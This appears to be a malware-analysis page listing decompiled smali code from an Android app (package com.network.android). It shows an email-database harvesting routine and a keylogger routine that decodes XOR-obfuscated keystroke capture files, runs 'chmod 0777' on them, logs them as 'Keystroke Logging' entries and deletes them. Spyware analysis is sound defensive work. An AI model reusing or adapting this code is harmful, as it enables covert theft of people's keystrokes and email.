      680invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      682invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      683move-result-object v5
      685invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      686move-result-object v4
      688invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      689move-result-object v4
      691invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      692try_end_3c2: goto/16 :goto_10d
      693catch_3c4: move-exception v0
      694try_start_3c5: new-instance v4, Ljava/lang/StringBuilder;
      696const-string v5, "GetContentMail getMailDb inner message reader Throwable- "
      698invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      700invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      701move-result-object v5
      703invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      704move-result-object v4
      706invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      707move-result-object v4
      709invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      710iget-boolean v0, p0, Lcom/network/android/s;->a:Z
      711if-eqz v0, :cond_411
      712const/4 v0, 0x1
      713const/16 v4, 0xe
      715const-string v5, "LOG_EMAIL_DUMP_FAILED"
      717invoke-static {v0, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      718try_start_3e7:
      719const-string v0, "GetContentMail getMailDb inner message reader finally"
      721invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      722if-eqz v3, :cond_3f1
      724invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      725cond_3f1: if-eqz v2, :cond_10d
      727invoke-interface {v2}, Landroid/database/Cursor;->close()V
      728try_end_3f6: goto/16 :goto_10d
      729catch_3f8: move-exception v0
      730try_start_3f9: new-instance v4, Ljava/lang/StringBuilder;
      732const-string v5, "GetContentMail getMailDb inner message reader finally exception- "
      734invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      736invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      737move-result-object v5
      739invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      740move-result-object v4
      742invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      743move-result-object v4
      745invoke-static {v4, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      746try_end_40f: goto/16 :goto_10d
      747cond_411: const/4 v0, 0x1
      748const/16 v4, 0x14
      749try_start_414:
      750const-string v5, "LOG_EMAIL_MONITOR_FAILED"
      752invoke-static {v0, v4, v5}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      753try_end_419: goto/16 :goto_3e7
      754catchall_41a: move-exception v0
      755try_start_41b:
      756const-string v1, "GetContentMail getMailDb inner message reader finally"
      758invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      759if-eqz v3, :cond_425
      761invoke-virtual {v3}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      762cond_425: if-eqz v2, :cond_42a
      764invoke-interface {v2}, Landroid/database/Cursor;->close()V
      765try_end_42a: throw v0
      766catch_42b: move-exception v1
      767new-instance v2, Ljava/lang/StringBuilder;
      769const-string v3, "GetContentMail getMailDb inner message reader finally exception- "
      771invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      773invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      774move-result-object v3
      776invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      777move-result-object v2
      779invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      780move-result-object v2
      782invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      783goto/16 :goto_42a
      784cond_443: new-instance v0, Ljava/lang/StringBuilder;
      786const-string v1, "GetContentMail getMailDb NO DBs DBs:"
      788invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      790invoke-interface {v4}, Ljava/util/List;->size()I
      791move-result v1
      793invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      794move-result-object v0
      796invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      797move-result-object v0
      799invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      800cond_459:
      801const-string v0, "GetContentMail getMailDb end"
      803invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      804try_start_45e:
      805const-string v0, "GetContentMail getMailDb finally"
      807invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      809invoke-interface {v6}, Ljava/util/concurrent/locks/Lock;->unlock()V
      810try_end_466: goto/16 :goto_29
      811catch_468: move-exception v0
      812try_start_469: new-instance v1, Ljava/lang/StringBuilder;
      814const-string v2, "GetContentMail getMailDb finally exception- "
      816invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      818invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      819move-result-object v2
      821invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      822move-result-object v1
      824invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      825move-result-object v1
      827invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      828try_end_47f: goto/16 :goto_29
      829cond_481: const/4 v0, 0x1
      830const/16 v1, 0x14
      831try_start_484:
      832const-string v2, "LOG_EMAIL_MONITOR_FAILED"
      834invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      835try_end_489: goto/16 :goto_1bd
      836catch_48b: move-exception v1
      837try_start_48c: new-instance v2, Ljava/lang/StringBuilder;
      839const-string v3, "GetContentMail getMailDb finally exception- "
      841invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      843invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      844move-result-object v3
      846invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      847move-result-object v2
      849invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      850move-result-object v2
      852invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      853try_end_4a2: goto/16 :goto_2a7
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.isDirectory
      • java.io.File.listFiles
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.getName
      • java.lang.String.contains
      • java.io.File.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.File.getName
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.File.getName
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.lastModified
      • java.sql.Date.<init>
      • java.sql.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.FileInputStream.close
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.File.getName
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.File.getName
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.File.delete
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.io.File.getName
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.length
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.String.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
      • com.network.android.SmsReceiver.a
      • com.network.android.SmsReceiver.a
      • java.io.StringWriter.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • GetKeyboard readKeyboard
      • GetKeyboard readKeyboard fileList size:
      • finidk
      • GetKeyboard readKeyboard fileSize:
      • -> continue
      • GetKeyboard readKeyboard file:
      • , was deleted after reading:
      • GetKeyboard readKeyboard fileName:
      • , fileSize:
      • chmod 0777
      • GetKeyboard readKeyboard numOfBytesRead != fileSize fileName:
      • numOfBytesRead:
      • GetKeyboard readKeyboard finaly Throwable-
      • GetKeyboard readKeyboard Throwable-
      • UTF-16LE
      • GetKeyboard readKeyboard numOfBytesRead:
      • , str:
      • :\t
      • \r\n
      • GetKeyboard readKeyboard get time stamp Throwable-
      • GetKeyboard readKeyboard Throwable-
      • GetKeyboard readKeyboard stringBuilder size
      • misc
      • miscEntry
      • type
      • Keystroke Logging
      • timestamp
      • data
      • GetKeyboard addXml Throwable-
      • GetKeyboard readKeyboard Keystroke logging
      • GetKeyboard readKeyboard outputFolder:\'
      • \' does not exist
      Position Instruction Meta Information
      0const/4 v3, 0x0
      1try_start_1:
      2const-string v0, "GetKeyboard readKeyboard"
      4invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      5new-instance v5, Ljava/lang/StringBuilder;
      7invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      8new-instance v0, Ljava/io/File;
      10sget-object v1, Lcom/network/d/a;->a:Ljava/lang/String;
      12invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      14invoke-virtual {v0}, Ljava/io/File;->exists()Z
      15move-result v1
      16if-eqz v1, :cond_186
      18invoke-virtual {v0}, Ljava/io/File;->isDirectory()Z
      19move-result v1
      20if-eqz v1, :cond_3a9
      22invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
      23move-result-object v6
      24if-eqz v6, :cond_300
      25new-instance v0, Ljava/lang/StringBuilder;
      27const-string v1, "GetKeyboard readKeyboard fileList size: "
      29invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      30array-length v1, v6
      32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      33move-result-object v0
      35invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      36move-result-object v0
      38invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      39move v4, v3
      40goto_38: array-length v0, v6
      41if-ge v4, v0, :cond_300
      42const/4 v1, 0x0
      43aget-object v7, v6, v4
      45invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
      46move-result-object v0
      48const-string v2, "finidk"
      50invoke-virtual {v0, v2}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      51try_end_47: move-result v2
      52if-eqz v2, :cond_a4
      53try_start_4a:
      54invoke-virtual {v7}, Ljava/io/File;->length()J
      55move-result-wide v8
      56long-to-int v8, v8
      57if-nez v8, :cond_a8
      58new-instance v2, Ljava/lang/StringBuilder;
      60invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      62invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      63move-result-object v2
      65const-string v8, " GetKeyboard readKeyboard fileSize: "
      67invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      68move-result-object v2
      70invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      71move-result-object v0
      73const-string v2, " -> continue"
      75invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      76move-result-object v0
      78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      79move-result-object v0
      81invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      82try_end_71: if-eqz v1, :cond_76
      83try_start_73:
      84invoke-virtual {v1}, Ljava/io/FileInputStream;->close()V
      85cond_76: if-eqz v7, :cond_a4
      87invoke-virtual {v7}, Ljava/io/File;->delete()Z
      88move-result v0
      89new-instance v1, Ljava/lang/StringBuilder;
      91invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      93invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      94move-result-object v1
      96const-string v2, " GetKeyboard readKeyboard file:"
      98invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      99move-result-object v1
      101invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
      102move-result-object v2
      104invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      105move-result-object v1
      107const-string v2, ", was deleted after reading:"
      109invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      110move-result-object v1
      112invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      113move-result-object v0
      115invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      116move-result-object v0
      118invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      119try_end_a4: add-int/lit8 v0, v4, 0x1
      120move v4, v0
      121goto/16 :goto_38
      122cond_a8: new-instance v2, Ljava/lang/StringBuilder;
      124invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      126invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      127move-result-object v2
      129const-string v9, " GetKeyboard readKeyboard fileName: "
      131invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      132move-result-object v2
      134invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      135move-result-object v2
      137const-string v9, ", fileSize:"
      139invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      140move-result-object v2
      142invoke-virtual {v2, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      143move-result-object v2
      145invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      146move-result-object v2
      148invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      149new-instance v2, Ljava/lang/StringBuilder;
      151const-string v9, " chmod 0777 "
      153invoke-direct {v2, v9}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      155invoke-virtual {v7}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      156move-result-object v9
      158invoke-virtual {v2, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      159move-result-object v2
      161invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      162move-result-object v2
      164invoke-static {v2}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      165new-array v9, v8, [B
      166new-instance v2, Ljava/io/FileInputStream;
      168invoke-direct {v2, v7}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      169try_end_e9:
      170invoke-virtual {v2, v9}, Ljava/io/FileInputStream;->read([B)I
      171move-result v1
      172if-eq v1, v8, :cond_187
      173new-instance v8, Ljava/lang/StringBuilder;
      175invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
      177invoke-virtual {v8, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      178move-result-object v8
      180const-string v9, " GetKeyboard readKeyboard numOfBytesRead != fileSize fileName: "
      182invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      183move-result-object v8
      185invoke-virtual {v8, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      186move-result-object v0
      188const-string v8, " numOfBytesRead:"
      190invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      191move-result-object v0
      193invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      194move-result-object v0
      196const-string v1, " -> continue"
      198invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      199move-result-object v0
      201invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      202move-result-object v0
      204invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      205try_end_119: if-eqz v2, :cond_11e
      206try_start_11b:
      207invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      208cond_11e: if-eqz v7, :cond_a4
      210invoke-virtual {v7}, Ljava/io/File;->delete()Z
      211move-result v0
      212new-instance v1, Ljava/lang/StringBuilder;
      214invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      216invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      217move-result-object v1
      219const-string v2, " GetKeyboard readKeyboard file:"
      221invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      222move-result-object v1
      224invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
      225move-result-object v2
      227invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      228move-result-object v1
      230const-string v2, ", was deleted after reading:"
      232invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      233move-result-object v1
      235invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      236move-result-object v0
      238invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      239move-result-object v0
      241invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      242try_end_14c: goto/16 :goto_a4
      243catch_14e: move-exception v0
      244try_start_14f: new-instance v1, Ljava/lang/StringBuilder;
      246invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      248invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      249move-result-object v1
      251const-string v2, " GetKeyboard readKeyboard finaly Throwable- "
      253invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      254move-result-object v1
      256invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      257move-result-object v2
      259invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      260move-result-object v1
      262invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      263move-result-object v1
      265invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      266try_end_16d: goto/16 :goto_a4
      267catch_16f: move-exception v0
      268new-instance v1, Ljava/lang/StringBuilder;
      270const-string v2, "GetKeyboard readKeyboard Throwable- "
      272invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      274invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      275move-result-object v2
      277invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      278move-result-object v1
      280invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      281move-result-object v1
      283invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      284goto_186: return-void
      285cond_187: move v0, v3
      286try_start_188: array-length v8, v9
      287if-ge v0, v8, :cond_195
      288aget-byte v8, v9, v0
      289xor-int/lit16 v8, v8, 0xff
      290int-to-byte v8, v8
      291aput-byte v8, v9, v0
      292add-int/lit8 v0, v0, 0x1
      293goto/16 :goto_188
      294cond_195: new-instance v8, Ljava/lang/String;
      296const-string v0, "UTF-16LE"
      298invoke-direct {v8, v9, v0}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
      299new-instance v0, Ljava/lang/StringBuilder;
      301invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      303invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      304move-result-object v0
      306const-string v9, " GetKeyboard readKeyboard numOfBytesRead:"
      308invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      309move-result-object v0
      311invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      312move-result-object v0
      314const-string v1, ", str:"
      316invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      317move-result-object v0
      319invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      320move-result-object v0
      322invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      323move-result-object v0
      325invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      326try_start_1c0:
      327invoke-virtual {v7}, Ljava/io/File;->lastModified()J
      328move-result-wide v0
      329new-instance v9, Ljava/sql/Date;
      331invoke-direct {v9, v0, v1}, Ljava/sql/Date;-><init>(J)V
      333invoke-virtual {v9}, Ljava/sql/Date;->toGMTString()Ljava/lang/String;
      334move-result-object v0
      336invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      337goto_1d0:
      338const-string v0, ":\t"
      340invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      342invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      344const-string v0, "\r\n"
      346invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      347try_end_1dd: if-eqz v2, :cond_1e2
      348try_start_1df:
      349invoke-virtual {v2}, Ljava/io/FileInputStream;->close()V
      350cond_1e2: if-eqz v7, :cond_a4
      352invoke-virtual {v7}, Ljava/io/File;->delete()Z
      353move-result v0
      354new-instance v1, Ljava/lang/StringBuilder;
      356invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      358invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      359move-result-object v1
      361const-string v2, " GetKeyboard readKeyboard file:"
      363invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      364move-result-object v1
      366invoke-virtual {v7}, Ljava/io/File;->getName()Ljava/lang/String;
      367move-result-object v2
      369invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      370move-result-object v1
      372const-string v2, ", was deleted after reading:"
      374invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      375move-result-object v1
      377invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      378move-result-object v0
      380invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      381move-result-object v0
      383invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      384try_end_210: goto/16 :goto_a4
      385catch_212: move-exception v0
      386try_start_213: new-instance v1, Ljava/lang/StringBuilder;
      388invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      390invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      391move-result-object v1
      393const-string v2, " GetKeyboard readKeyboard finaly Throwable- "
      395invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      396move-result-object v1
      398invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      399move-result-object v2
      401invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      402move-result-object v1
      404invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      405move-result-object v1
      407invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      408try_end_231: goto/16 :goto_a4
      409catch_233: move-exception v0
      410try_start_234: new-instance v1, Ljava/lang/StringBuilder;
      412invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      414invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      415move-result-object v1
